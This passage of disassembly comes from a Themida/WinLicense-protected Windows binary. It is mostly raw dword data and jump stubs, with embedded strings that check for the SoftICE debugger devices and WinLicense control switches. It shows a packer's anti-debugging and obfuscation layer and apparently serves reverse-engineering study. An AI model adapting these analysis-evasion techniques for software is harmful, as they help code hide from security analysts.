24048F54h, 4240483h, 8DBFE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524FE6: ; CODE XREF: Themida_:00516549j mov esi, 4 jmp loc_50FC86 ; --------------------------------------------------------------------------- loc_524FF0: ; CODE XREF: Themida_:0051F1E7j mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_51AD2F ; --------------------------------------------------------------------------- db 5Ah, 0FFh, 34h dd 0C4835B24h, 0D8885004h, 8858C688h, 665966CBh, 51D98851h dd 0CB88F188h, 56B2E959h, 0E7C1FFFFh, 230CE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_525026: ; CODE XREF: Themida_:00516863j xor ecx, 27F65848h jmp loc_510FE3 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 8F04C483h, 248B2404h, 240C8924h, 0FFC728E9h, 0DE8FFh dd 0D6DA0000h, 53200BF2h, 0A9B049EAh, 660C6B1Bh, 665ADE8Bh dd 0A414D381h, 6E9AC281h, 8A510000h, 0C92B5BFDh, 2800Fh dd 0DA8B0000h, 231134FFh, 22350585h, 85895F06h, 6220791h dd 180BC781h, 8B0F77A0h, 1, 0ACC781F9h, 896DBED6h, 222C299Dh dd 21EF8106h, 8B4B3D9Ch, 0B58B57C6h, 6220F9Dh, 8B0A048Fh dd 2206D99Dh, 699D0906h, 8306220Fh, 8B6602E9h, 0F4949C7h dd 98Ah, 3870F00h, 80000000h, 0F981E2D0h, 0FFFF9218h, 12850Fh dd 2CB40000h, 1BE9h, 64540A00h, 92D0C044h, 279E621Ah, 0E9DF8B66h dd 0FFFFFF7Ch, 1B6BE8AEh, 96415DFDh, 43E9h, 848E3D00h dd 45535503h, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch, 2000A07h dd 0C001E00h, 13000100h, 1D400h, 3 dup(0) dd 8C8E9h, 0AA066800h, 0D0E90624h, 68FFFDD9h, 624AA75h dd 0FDD9C6E9h, 0ABA868FFh, 0BCE90624h, 68FFFDD9h, 624ACF3h dd 0FDD9B2E9h, 0AD5368FFh, 0A8E90624h, 68FFFDD9h, 624AE4Dh dd 0FDD99EE9h, 0AED168FFh, 94E90624h, 38FFFDD9h, 9E83EA55h dd 0A375EEDh, 62AFC685h, 0DCC52C17h, 0C7A95B2h, 0EC5B236Ch dd 51EE9C85h, 0C47F0936h, 2F1864ADh, 0A07C1DC4h, 411E9298h dd 0D349D97Dh, 4A398AFFh, 705958F6h, 746F69B7h, 952CA2Fh dd 0F6491850h, 0E3204D7Dh, 0C7BC676Ch, 0D1EF2ACDh, 0A9CE017Ch dd 0BC80A844h, 0F6854118h, 58D90449h, 5DA3A855h, 839D3FE7h dd 30EBB95Dh, 0C269B2E8h, 68A5C211h, 8A631827h, 7B446473h dd 613B5E82h, 96E42DF6h, 0C5075467h, 0E535E70Eh, 8A12403h dd 2063E0ABh, 331488E1h, 1CAF0609h, 513B7891h, 0EA929FF6h dd 0C1122D5Fh, 0B29763A2h, 2F0F9E7Ch, 736031Eh, 0C710000h dd 0A4D7D833h, 3C434CA7h, 0CEBBE40Fh, 69151A75h, 0B5B7B3DAh dd 0DA35127Ch, 4FA6A5D5h, 0E20D3642h, 1D74CFBDh, 0C31785D2h dd 36411E91h, 5778060h, 9EFB4434h, 3A3BFA0Eh, 5D9C1F47h dd 0C817CC08h, 0A36EFDAFh, 0AC0F491Eh, 13A4E4Bh, 52CFB9E6h dd 1E928EDAh, 9486341h, 54E597C4h, 0ACCF1C2Bh, 46AE9D6Dh dd 0EE3FF5BAh, 6C713h, 0C07B0200h, 341378A9h, 9CABD4DDh dd 23D4C75h, 6BD8A6EBh, 0D462600h, 66ABC281h, 0D3DC3714h dd 4E739AA5h, 63EA053Eh, 91728616h, 0F3A7411Eh, 3A057733h dd 8FB8C4E9h, 0D16E115Eh, 2C1B6F8Ch, 773BCFFh, 251A8D82h dd 0F5348270h, 43008BA0h, 0AE83D312h, 0D51CE44Ah, 4D017C93h dd 4AD451F3h, 42000000h, 0D33A0577h, 3BC4E87Bh, 10F1473Ah dd 8BB6ED22h, 0D256937Bh, 5C19B942h, 3A426FB5h, 0E3ABE801h dd 0C5D73864h, 0F4A8C10Eh, 49170304h, 0B0145031h, 0BC390674h dd 0EA3655A0h, 1E1B7C3Fh, 89B6D16Ah, 81744FFh, 61Ch, 2C525FFAh dd 0D4B8C11Fh, 3B8BDF4Dh, 4F6E473Ah, 3B26722Ah, 0E0CB473Ah dd 896348A1h, 473A3B61h, 0A2FB1994h, 562B1A2h, 9BA8D320h dd 3C58A345h, 76454918h, 6B6A121Fh, 65B9C8C7h, 0FF7CF918h dd 0C689B3A6h, 8597FE31h, 0B46881CEh, 4F3CF2B0h, 94A4785Dh dd 794B7CC2h, 0A2F34C3Ch, 0E8014083h, 1F6CDDABh, 0B186E120h dd 0F4281764h, 5380BBCDh, 77564D36h, 0CAB0AC74h, 26216B96h dd 98B75950h, 54ABE4EFh, 594h, 7A95AEDFh, 0EEF94635h, 661DEA1h dd 0BCD77019h, 0D53C0B73h, 0B4DA13D5h, 47337C97h, 0D8A091F8h dd 711B046Fh, 23B4BFD6h, 1E902149h, 0E63ED441h, 0DD3A0577h dd 5F81A364h, 65A3B06h, 79C2CAE7h, 2741B054h, 3AFF4D92h dd 74EE4C47h, 4551F313h, 0FFFFFEE1h, 5CE65FCDh, 0C501C3Dh dd 0F7285D26h, 6027E2C6h, 0BC87F53Ch, 9B11765Bh, 473A894Fh dd 31590BA2h, 0E4473A89h, 12728BC9h, 50783461h, 0C5473A89h dd 6D52B7F6h, 3A896BBFh, 0F12F8E47h, 0E3330CE0h, 0DFDC4918h dd 204390AFh, 0FE8B88E1h, 8FD51045h, 307F7444h, 96B5DAD7h dd 55859C45h, 3473F8E9h, 0F2AAAFF5h, 4F3AC555h, 5AE995E2h dd 47A00B06h, 0D203404Ah, 6C384D93h, 4B7EC45Bh, 8BBE3AA7h dd 45AED8D6h, 15AE3h, 0F1999600h, 5F760E52h, 0C91A2952h dd 3BEF76AAh, 31EB12C1h, 473A3BE9h, 96EA10Ch, 0A6E16324h dd 48F86093h, 2B297214h, 0E7D64918h, 79AA9507h, 974C69B2h dd 0E5CA2F48h, 0C668E337h, 79A71698h, 0E47B34AFh, 41921996h dd 0E6035003h, 6B61536h, 56B3FAAFh, 0E1083359h, 0C755CCB0h dd 0AB7AF9B3h, 62145766h, 0F9E2E41h, 498C93ACh, 84000004h dd 0FA274EF9h, 565BB291h, 0CEF31A29h, 386980BBh, 0A89EE956h dd 40FF8FC8h, 0B592F829h, 1823555Ah, 83BCC0F1h, 498E168h dd 411E97F4h, 58AD7519h, 690364ABh, 491EA39Ah, 0CAC7208Bh dd 256A85BEh, 5EBBE853h, 9297A379h, 337A411Eh, 81B8C4EDh dd 7C0A4DFAh, 0F5BA4731h, 0E99C63BCh, 24000003h, 9A87EE59h dd 0F63B52F1h, 6E53BA89h, 0D8C9201Bh, 87E89B6h, 0E05F2F68h dd 55F29889h, 0B883F53Ah, 231C6051h, 0A47801C8h, 411E9694h dd 774DD579h, 64DD3A05h, 17F0D30Ch, 0FA4537B6h, 2B4065BBh dd 0CFB5E661h, 8EBBCDCAh, 0D10245FEh, 1554F39Ch, 60662CFh dd 853F4B21h, 0DBD2473Ah, 87DCE385h, 9FBF473Ah, 51F31BE3h dd 0B794FB38h, 0FD17A469h, 7772FFFFh, 0EBE93A05h, 0DE4EABF8h dd 49183B99h, 262569A6h, 0BF6AB6F5h, 5F3995FCh, 0C21E2D52h dd 7D76D603h, 5BD136h, 0ED491828h, 206CA9CEh, 8F1DF927h dd 0D968DB61h, 7AF9770h, 0B1CBFD29h, 0E2330C70h, 887B9DC3h dd 23F9DE3Bh, 0E903ED17h, 6C6DB3FAh, 21FEC7B0h, 953F28E7h dd 70FF97F4h, 835F1AE3h, 0D985D987h, 5C1775A6h, 193AF217h dd 0F6FD4421h, 2755A2C7h, 0C0CCF51Ch, 0A49CF387h, 10214160h dd 2EF09h, 0E8533A00h, 5CEB9081h, 0C4830C35h, 2A1564ADh dd 93B0DEC3h, 256E0E78h, 9E83EA59h, 0B345FECh, 66ABC27Dh dd 1BC22D16h, 959AAE7Eh, 0DB7F411Eh, 0DEAB584Bh, 4FD16EDh dd 0B8D11057h, 1EC235E4h, 72972649h, 0AAF65525h, 0EA8142A7h dd 304748ACh, 2A5E9BB9h, 0BCE1F611h, 45477BCBh, 9848A5CCh dd 411F9570h, 2C7C30A5h, 0C1411F95h, 4C75ABEAh, 0CE7D0D3Ch dd 6B115E8Fh, 426726D0h, 0A1F2F5B9h, 26B5Eh, 6CD7A600h dd 0D06F1C05h, 380788B9h, 0AE99E0D1h, 17345A47h, 0A1EA8AFCh dd 1A076EDDh, 77B8D370h, 0E22F4601h, 9F46A19Ah, 951622FAh dd 57FB411Eh, 64AB58CFh, 0A3A06903h, 0A091491Eh, 595A9B1Eh dd 1770B3CFh, 0BEC9721Ah, 3E5BA25Eh, 6FBC87F1h, 9CC1104Ch dd 6CD5E5B7h, 7538411Eh, 6C4B9D2Fh, 7B6411Eh, 56F599D6h dd 444A4705h, 0D48CEC07h, 0BE076C8Dh, 55484460h, 0F395CB90h dd 411EA3AFh, 5D85E152h, 84EE5473h, 0B1DB1045h, 57247196h dd 1F78BBE8h, 1E437D8Dh, 0C71D9041h, 0A1EB26A6h, 4B3441A6h dd 0F9019BFCh, 1C411E43h, 1F004391h, 4481D26Dh, 0D7044337h dd 29854894h, 0B696D25Fh, 0EB291679h, 6A85BECEh, 0BFEC5725h dd 0EE3F0C72h, 0AB41A6CBh, 411E439Fh, 7B8F1D72h, 9E411E43h dd 0B980DC1Fh, 0AC97E53Fh, 62B6664Bh, 97411E43h, 0AA97F824h dd 5D3667E4h, 0CE2A9761h, 0F01B2856h, 8EBFCFh, 90D31243h dd 82090643h, 26529FC5h, 0D9A3C81Dh, 8AF03D6Eh, 1545A307h dd 11504F74h, 23458CCCh, 4754250Fh, 0C9761831h, 0FA265984h dd 533BF97Fh, 0E8949DF4h, 0CC112E51h, 84D448A1h, 69411EE3h dd 0B5D20342h, 9B111078h, 411EE34Fh, 9BC80BA2h, 8620458h dd 0EEC8C20Ch, 5D2F0563h, 0F6868BE2h, 0ABD3184Dh, 50994F9Ch dd 0D7701C18h, 5FEA5BBCh, 16B5279Fh, 721A277Dh, 867F84C9h dd 4FC61076h, 4D8FD5D5h, 14334796h, 465A4C7h, 95C681F7h dd 0E2C70A56h, 2F52C921h, 0EF35B87Dh, 80807E5Dh, 3B5C5FF7h dd 0F03246D6h, 0D4E78380h, 7E754788h, 39F3D831h, 8380F011h dd 0DC50A904h, 8380F08Ch, 0C3164A61h, 0A468C629h, 57226F8Dh dd 672BFECh, 6BA6FA3Dh, 0AEDE1340h, 47357A95h, 0C6B287F2h dd 0CA0D287Dh, 7F8A5A8Bh, 6081455Bh, 6068991Ch, 0F0D4E2FEh dd 3C4F6CB1h, 8B76DE0Fh, 2633B96Dh, 211A62C2h, 86C1CBC8h dd 0E47F8B61h, 1B929745h, 0E7959AC5h, 0BC50BCE6h, 0F1300EA6h dd 53F09B98h, 68BDE302h, 0D80D3643h, 61286574h, 39BFBAE6h dd 0EA3EEED3h, 0F9745ACh, 434970ACh, 0DCA091F8h, 80090663h dd 139B3EC7h, 0C050D893h, 15F6499Ch, 0E1000000h, 55BE494h dd 26525F69h, 3B59613Bh, 0F1BC473Ah, 23FB62BEh, 0E83D0677h dd 5D8EB9C3h, 8EDF6810h, 0F92A1961h, 287DCAB4h, 9FCC7B03h dd 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h, 3DE86869h, 34890000h dd 53E46824h, 0C890000h, 64556824h, 1C890000h, 2FBA5224h dd 0B96EC24Bh, 74E6F47Eh, 3E85C181h, 0D12962F4h, 3E85E981h dd 685A62F4h, 39B2h, 81242489h, 42404h, 565B0000h, 8F56CE89h dd 0FF5E0843h, 815B2434h, 4C4h, 240C8B00h, 81E18951h, 4C1h dd 4C18100h, 87000000h, 0E95C240Ch, 0FFFDD113h, 0B161B80Bh dd 0C5030624h, 25E7E0FFh, 3AB475DDh, 0BB6E6DBCh, 2FEC64E5h dd 0A0DD6907h, 0BB0B4AE9h, 0DFA52F4Ah, 0F3FB0465h, 44E1C27h dd 9EFD7EECh, 0C2D220E9h, 83EC1D77h, 1C616318h, 0B70B3F35h dd 53293435h, 0D7C36C0Dh, 0AA81333h, 7F4E1C9Ch, 2F4C0187h dd 0A23F2484h, 20B6464Fh, 4AD16FF5h, 0CDC17E87h, 8F5315C3h dd 8CE937AFh, 60000000h, 2801BD83h, 0F000622h, 584h, 77E900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h dd 3D858D00h, 90062227h, 50969050h, 0FF006A96h, 2206B995h dd 0C6C36106h, 22330985h, 5D684D06h, 81F7028Ah, 0FCF52434h dd 0B5FF5337h, 6220FC9h, 3AF1858Dh, 0D0FF0622h, 6B98589h dd 1EEB0622h, 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch dd 444956h, 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 39F68166h dd 0DDBD836Ch, 62208h, 0BD830975h, 6220A21h, 50197400h dd 0B8C08B53h, 40Fh, 1B398589h, 9D8D0622h, 624BFC9h, 585BD3FFh dd 0A21BD83h, 74000622h, 0B8535017h, 40Fh, 1B398589h, 9D8D0622h dd 624BCB8h, 585BD3FFh, 6AF28Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 958B96C3h, 6222AE1h dd 958BC08Bh, 6220735h, 330985C6h, 8B430622h, 220321B5h dd 0D5356806h, 85B1F282h, 0C9243481h, 0FF4E0CBBh, 2233A9B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 5B75743Ch, 5CEFF6FCh, 0AAD9529h, 858D0622h dd 6223AF1h, 6DD7BF66h, 9E8D0FFh, 97000000h, 848B379Ch dd 563E9C10h, 19A99D89h, 50590622h, 8B240489h, 222D298Dh dd 0B006A06h, 222CF58Dh, 4E806h, 800000h, 11E80000h, 31000000h dd 81A549F9h, 0CF73A7B7h, 892D06AFh, 49DF13CAh, 505AF48Ah dd 50525053h, 5A310F52h, 5A310F58h, 448B5E58h, 820F0424h dd 1Ch, 14E8h, 1D621300h, 7E1EB9A7h, 4A0258h, 6A8BDD6Ch dd 8FAF0E62h, 5E616012h, 5250008Bh, 0BE8h, 0DBEB2200h dd 1E22EB0Bh, 0BE3DCF51h, 33CCFBEh, 310F5A4Dh, 0C8F0Fh dd 7E90000h, 0B1000000h, 56F0FF30h, 585A6E39h, 4244489h dd 0E6816658h, 6AF56545h, 39B58B03h, 6A06221Ah, 6E900h dd 0DB830000h, 0D1D316A3h, 9D89036Ah, 6221275h, 0E488F68h dd 5E9D0h, 0F65D0000h, 81D1524Eh, 488F2434h, 800F100Eh dd 6, 2D9BD8Bh, 9D8D0622h, 624B2F4h, 28319589h, 60930622h dd 60616060h, 52506161h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 0BF935061h, 600B5561h, 0EB9D0FFh, 406063AFh dd 279850Fh, 95010000h, 6222961h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 661CBB6Ah dd 8B43ABBFh, 2204A595h, 0BA665006h, 489C16Fh, 5ED58024h dd 4E8006Ah, 80000000h, 0E9000000h, 0Eh, 0E14BAAE2h, 0C78DA9FAh dd 44985FFAh, 8B50DA34h, 0BF042444h, 1CDCDFC3h, 0AE8008Bh dd 71000000h, 5D79DCA8h, 0DAB92B25h, 0DE90Dh, 0BCD50000h dd 6F3EC741h, 372300E7h, 5E3878B8h, 4244489h, 46FABA66h dd 0FB8B6658h, 7E8036Ah, 0F9000000h, 0BEF92C04h, 6A59CE78h dd 7D74B900h, 0BD291D1Ch, 62209E5h, 8166036Ah, 6840C9EEh dd 0A6AACCBAh, 11E860h, 0EAD90000h, 6427F937h, 625378E9h dd 538C51DDh, 0B00F6A56h, 81615B1Eh, 0CCBA2434h, 0B50166AAh dd 62226ADh, 594D84BEh, 0FD9D8D68h, 0F0624B2h, 683h, 59BD2900h dd 9306221Eh, 0D08B6657h, 5DB1505Ah, 218D8B93h, 0FF062227h dd 0F78B66D0h, 64850F40h, 9000001h, 22115595h, 9E95806h dd 0C7000000h, 9F7C932Bh, 2E5D7803h, 52505150h, 0BE8310Fh dd 91000000h, 1E59AA28h, 8EC0B9Eh, 5A5A17B3h, 4895E58h dd 0B1958B24h, 6A062228h, 0FE800h, 0F6C0000h, 0CD013D58h dd 0B9FCD4C8h, 0AA065255h, 719589F7h, 5E06220Fh, 0B94AF768h dd 0D08B66F7h, 89240481h, 8B0846B5h, 8E9FEh, 0DEB20000h dd 6F19A4EEh, 36AE6C8h, 2BD958Bh, 6A0622h, 7499589h, 36A0622h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B3C35040h dd 603A8CE2h, 7E9D3h, 0A10D0000h, 33605A03h, 0F8926839h dd 0BF66A7E0h, 34818951h, 0E0F89224h, 0D5BD2B67h, 8D06220Fh dd 24B3089Dh, 50CA8B06h, 0DE9h, 9C317900h, 52799B89h, 28E4A662h dd 1C890687h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 324D2ABDh, 89D0FFF8h, 221ED99Dh dd 4D858906h, 40062221h, 49850Fh, 13E90000h, 0B1000000h dd 0AAC7BDE4h, 67F82BBEh, 7E1644C2h, 0EF981000h, 958B98CEh dd 62218C1h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 708D48C5h, 0E9D07202h, 15Fh, 8BF08B66h dd 89958BD8h, 4B062202h, 477BCE81h, 31585135h, 2218B1B5h dd 1E58006h, 330985C6h, 0F430622h, 4E8C8BFh, 0A7000000h dd 0E9C0764Ah, 0Ch, 2C819812h, 7192B104h, 5386AF4Fh, 56BA6650h dd 24448BAEh, 7BBF6604h, 8A008B01h, 244489D1h, 0E8525004h dd 0Ah, 474D31F8h, 852790CCh, 0BE66AAC2h, 0F5EF7F4h, 0BE95331h dd 86000000h, 3C862D4h, 334E99F3h, 5A5EB14Fh, 0CE95858h dd 8D000000h, 2D6E5745h, 6414A3A1h, 0FF27A904h, 2233A9B5h dd 98D8B06h, 8D06222Dh, 223AF185h, 9D8B6006h, 6222CD1h dd 214EE381h, 0E8612B0Fh, 5, 78CACCC1h, 37C181BAh, 5957CC74h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 67D870C3h, 0EE8166E2h, 0B5236656h, 6222FA5h dd 0F78B6650h, 89241C89h, 2227B995h, 6AD0FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 18B9C356h, 7EB9771Ch, 8D7A0589h, 2276A49Dh, 8B0F06h dd 0B8000000h, 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0B4C35141h, 15C1A0Ch, 0FFBCB5FEh, 0D59589E3h, 8B06221Ch dd 4890FC1h, 66000000h, 316CC7B9h, 221D4D95h, 0F8C08B06h dd 8DDBD83h, 75000622h, 21BD8309h, 6220Ah, 53501974h, 0FB8C08Bh dd 89000004h, 220E5985h, 309D8D06h, 0FF0624C0h, 83585BD3h dd 220A21BDh, 17740006h, 0FB85350h, 89000004h, 220E5985h dd 0D19D8D06h, 0FF0624BCh, 0F585BD3h, 0C08BF2B7h, 7E8h dd 0CE43E600h, 0B3EDE664h, 2549958Bh, 0E9580622h, 8, 0D3827505h dd 55113F9Dh, 67D8C081h, 81660000h, 68E534E2h, 19BAh, 859DBF66h dd 0FB8B6659h, 8E8188Bh, 0E9000000h, 0F03C6F4Dh, 50425C6Dh dd 1BD5B589h, 5E5E0622h, 651CC381h, 0B589157Ch, 6222549h dd 0D2DFC381h, 0BF660591h, 0C38118CCh, 4D1EAED8h, 8933B460h dd 222655B5h, 0E9536106h, 0Ah, 0C42E6456h, 0F25B92Ch, 8FA8FBh dd 209B58Bh, 0E8810622h, 6AA2A0D7h, 7E8h, 478B3800h, 5AD43EAAh dd 14A59529h, 815A0622h, 0A2A0D3C0h, 13E96Ah, 59D10000h dd 0EF46A8EBh, 1658A26Ch, 0B174682Ah, 325BC362h, 850F4908h dd 12h, 28E9h, 0F38A1600h, 231D4676h, 2737A8C2h, 0B53384C2h dd 6221D3Dh, 0FFFF4FE9h, 2BD1C0FFh, 9EF1B1B5h, 11E0DF74h dd 0B55AA670h, 0AAE94Ah, 6F530000h, 61777466h, 575C6572h dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0EC858900h, 8D0624BAh dd 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h, 624BAF8h dd 0B5FF196Ah, 624BAECh, 6A016Ah, 0BA81858Dh, 0FF500624h dd 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h dd 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h, 0BAEC8589h dd 858D0624h, 624BAE8h, 52858D50h, 500624BAh, 168h, 0F895FF80h dd 6A0624BAh, 0EC858D04h, 500624BAh, 6A046Ah, 0BAAB858Dh dd 0FF500624h, 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h dd 0F495FF06h, 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h dd 0BAEC8589h, 858D0624h, 624BAE8h, 52858D50h, 500624BAh dd 168h, 0F895FF80h, 6A0624BAh, 0EC858D04h, 500624BAh dd 6A046Ah, 0BA93858Dh, 0FF500624h, 24BAE8B5h, 0FD95FF06h dd 0FF062207h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh, 24BAE8B5h dd 7195FF06h, 0C3062200h, 0BAEC8589h, 858D0624h, 624BAE8h dd 52858D50h, 500624BAh, 168h, 0F895FF80h, 6A0624BAh, 0EC858D04h dd 500624BAh, 6A046Ah, 0BABE858Dh, 0FF500624h, 24BAE8B5h dd 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh dd 24BAE8B5h, 7195FF06h, 0C3062200h, 0BAEC8589h, 858D0624h dd 624BAE8h, 52858D50h, 500624BAh, 168h, 0F895FF80h, 6A0624BAh dd 0EC858D04h, 500624BAh, 6A046Ah, 0BA6E858Dh, 0FF500624h dd 24BAE8B5h, 0FD95FF06h, 0FF062207h, 24BAE8B5h, 0F495FF06h dd 0FF0624BAh, 24BAE8B5h, 7195FF06h, 0C3062200h, 2439BD83h dd 0F000622h, 0B84h, 399D8B00h, 83062224h, 3894CC3h, 39BD83C3h dd 62224h, 0B840Fh, 9D8B0000h, 6222439h, 8950C383h, 0BD83C303h dd 6222439h, 0B840F00h, 8B000000h, 2224399Dh, 54C38306h dd 83C30389h, 222439BDh, 840F0006h, 0Bh, 24399D8Bh, 0C3830622h dd 0C3038958h, 2439BD83h, 0F000622h, 0B84h, 399D8B00h dd 83062224h, 3895CC3h, 8960C3C3h, 24BAEC85h, 0E8858D06h dd 500624BAh, 0BA52858Dh, 68500624h, 80000001h, 0BAF895FFh dd 46A0624h, 0BAEC858Dh, 6A500624h, 8D006A04h, 24BAE385h dd 0B5FF5006h, 624BAE8h, 7FD95FFh, 0BD830622h, 62208DDh dd 0C840F00h, 0FF000000h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh dd 24BAE8B5h, 7195FF06h, 61062200h, 858960C3h, 624BAECh dd 0BAE8858Dh, 8D500624h, 24BA5285h, 1685006h, 0FF800000h dd 24BAF895h, 8D046A06h, 24BAEC85h, 46A5006h, 858D006Ah dd 624BAC5h, 0E8B5FF50h, 0FF0624BAh, 2207FD95h, 0DDBD8306h dd 62208h, 0C840Fh, 0B5FF0000h, 624BAE8h, 0BAF495FFh, 0B5FF0624h dd 624BAE8h, 7195FFh, 0C3610622h, 0EC858960h, 8D0624BAh dd 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h, 624BAF8h dd 858D046Ah, 624BAECh, 6A046A50h, 0CC858D00h, 500624BAh dd 0BAE8B5FFh, 95FF0624h, 62207FDh, 8DDBD83h, 0F000622h dd 0C84h, 0E8B5FF00h, 0FF0624BAh, 24BAF495h, 0E8B5FF06h dd 0FF0624BAh, 22007195h, 60C36106h, 0BAEC8589h, 858D0624h dd 624BAE8h, 52858D50h, 500624BAh, 168h, 0F895FF80h, 6A0624BAh dd 0EC858D04h, 500624BAh, 6A046Ah, 0BAD4858Dh, 0FF500624h dd 24BAE8B5h, 0FD95FF06h, 83062207h, 2208DDBDh, 840F0006h dd 0Ch, 0BAE8B5FFh, 95FF0624h, 624BAF4h, 0BAE8B5FFh, 95FF0624h dd 6220071h, 8960C361h, 24BAEC85h, 0E8858D06h, 500624BAh dd 0BA52858Dh, 68500624h, 80000001h, 0BAF895FFh, 46A0624h dd 0BAEC858Dh, 6A500624h, 8D006A04h, 24BADB85h, 0B5FF5006h dd 624BAE8h, 7FD95FFh, 0BD830622h, 62208DDh, 0C840F00h dd 0FF000000h, 24BAE8B5h, 0F495FF06h, 0FF0624BAh, 24BAE8B5h dd 7195FF06h, 61062200h, 85C760C3h, 624BAECh, 1, 0BAE8858Dh dd 8D500624h, 24BA5285h, 2685006h, 0FF800000h, 24BAF895h dd 0FC00B06h, 0F84h, 0EC85C700h, 624BAh, 0E9000000h, 4Dh dd 858D046Ah, 624BAECh, 6A046A50h, 66858D00h, 500624BAh dd 0BAE8B5FFh, 95FF0624h, 62207FDh, 840FC00Bh, 0Fh, 0BAEC85C7h dd 624h, 0AE90000h, 0C7000000h, 24BAEC85h, 106h, 0E8B5FF00h dd 0FF0624BAh, 22007195h, 858B6106h, 624BAECh, 858960C3h dd 624BAECh, 0BAE8858Dh, 8D500624h, 24BA5285h, 1685006h dd 0FF800000h, 24BAF895h, 8D046A06h, 24BAEC85h, 46A5006h dd 858D006Ah, 624BA66h, 0E8B5FF50h, 0FF0624BAh, 2207FD95h dd 0DDBD8306h, 62208h, 0C840Fh, 0B5FF0000h, 624BAE8h, 0BAF495FFh dd 0B5FF0624h, 624BAE8h, 7195FFh, 0C3610622h, 0EC858960h dd 8D0624BAh, 24BAE885h, 858D5006h, 624BA52h, 16850h, 95FF8000h dd 624BAF8h, 858D046Ah, 624BAECh, 6A046A50h, 78858D00h dd 500624BAh, 0BAE8B5FFh, 95FF0624h, 62207FDh, 8DDBD83h dd 0F000622h, 0C84h, 0E8B5FF00h, 0FF0624BAh, 24BAF495h dd 0E8B5FF06h, 0FF0624BAh, 22007195h, 0C6C36106h, 22330985h dd 7685206h, 0FFADE47Bh, 221AC9B5h, 6995FF06h, 8906221Ah dd 24BAF885h, 985C606h, 52062233h, 2E00E568h, 0C9B5FF90h dd 0FF06221Ah, 221A6995h, 0F4858906h, 0C60624BAh, 22330985h dd 35685206h, 0FFB9BF12h, 221AC9B5h, 6995FF06h, 8906221Ah dd 2207FD85h, 985C606h, 52062233h, 78103468h, 0C9B5FF98h dd 0FF06221Ah, 221A6995h, 71858906h, 0C6062200h, 22330985h dd 0D4685206h, 0FFC005DBh, 221AC9B5h, 6995FF06h, 8906221Ah dd 22066985h, 11E806h, 40770000h, 0A7FDD57Bh, 0DB0CA3D9h dd 25E15C7Ah, 52D3B1A7h, 0E1214BBh, 0F85A5F1Ah, 6096C281h dd 0F600000h, 108Bh, 0BE900h, 0B6780000h, 0A7E4054h, 20B5389Ch dd 0AE8DDh, 0E9540000h, 46320148h, 483FFE11h, 615BD88Bh dd 17DE68h, 0C5806000h, 0B5F081B5h, 61122592h, 0F32FF58h dd 1F8Fh, 19800F00h, 0E9000000h, 14h, 0DAFAA8h, 0D29EA75Ch dd 0ED8BEE0Fh, 1FED9A46h, 677EE77Dh, 7E959h, 88860000h dd 735C8CACh, 0A8E98152h, 664A5CDDh, 0E981FB8Bh, 25631829h dd 81F18B66h, 650612E9h, 32D3803Fh, 81660A89h, 81A347DFh dd 0FE9F5FEAh, 58A0F6Dh, 0BF000000h, 227FEA7Ah, 9F5BC281h dd 0E8836DFEh, 19850F01h, 0E9000000h, 4Ch, 701C03E3h, 0E6B3295Bh dd 0C56DFBF2h, 0D4F6B339h, 36B4CF52h, 1C8E0Fh, 14E80000h dd 44000000h, 0E58E7A9Dh, 2399BE28h, 737B769Eh, 0C7BFC543h dd 51A46EDCh, 4AE95F5Eh, 0F2FFFFFFh, 6610189h, 0E3D5397Fh dd 74965C41h, 0A49F8757h, 99E9h, 75622F00h, 65686367h dd 326B63h, 6775622Fh, 63656863h, 662F006Bh, 6563726Fh dd 6E7572h, 6775622Fh, 63656863h, 6C75666Bh, 732F006Ch dd 63776F68h, 65646Fh, 6F68732Fh, 646F6377h, 2F003265h dd 74726C63h, 69642F00h, 2F003173h, 776F6873h, 74736E69h 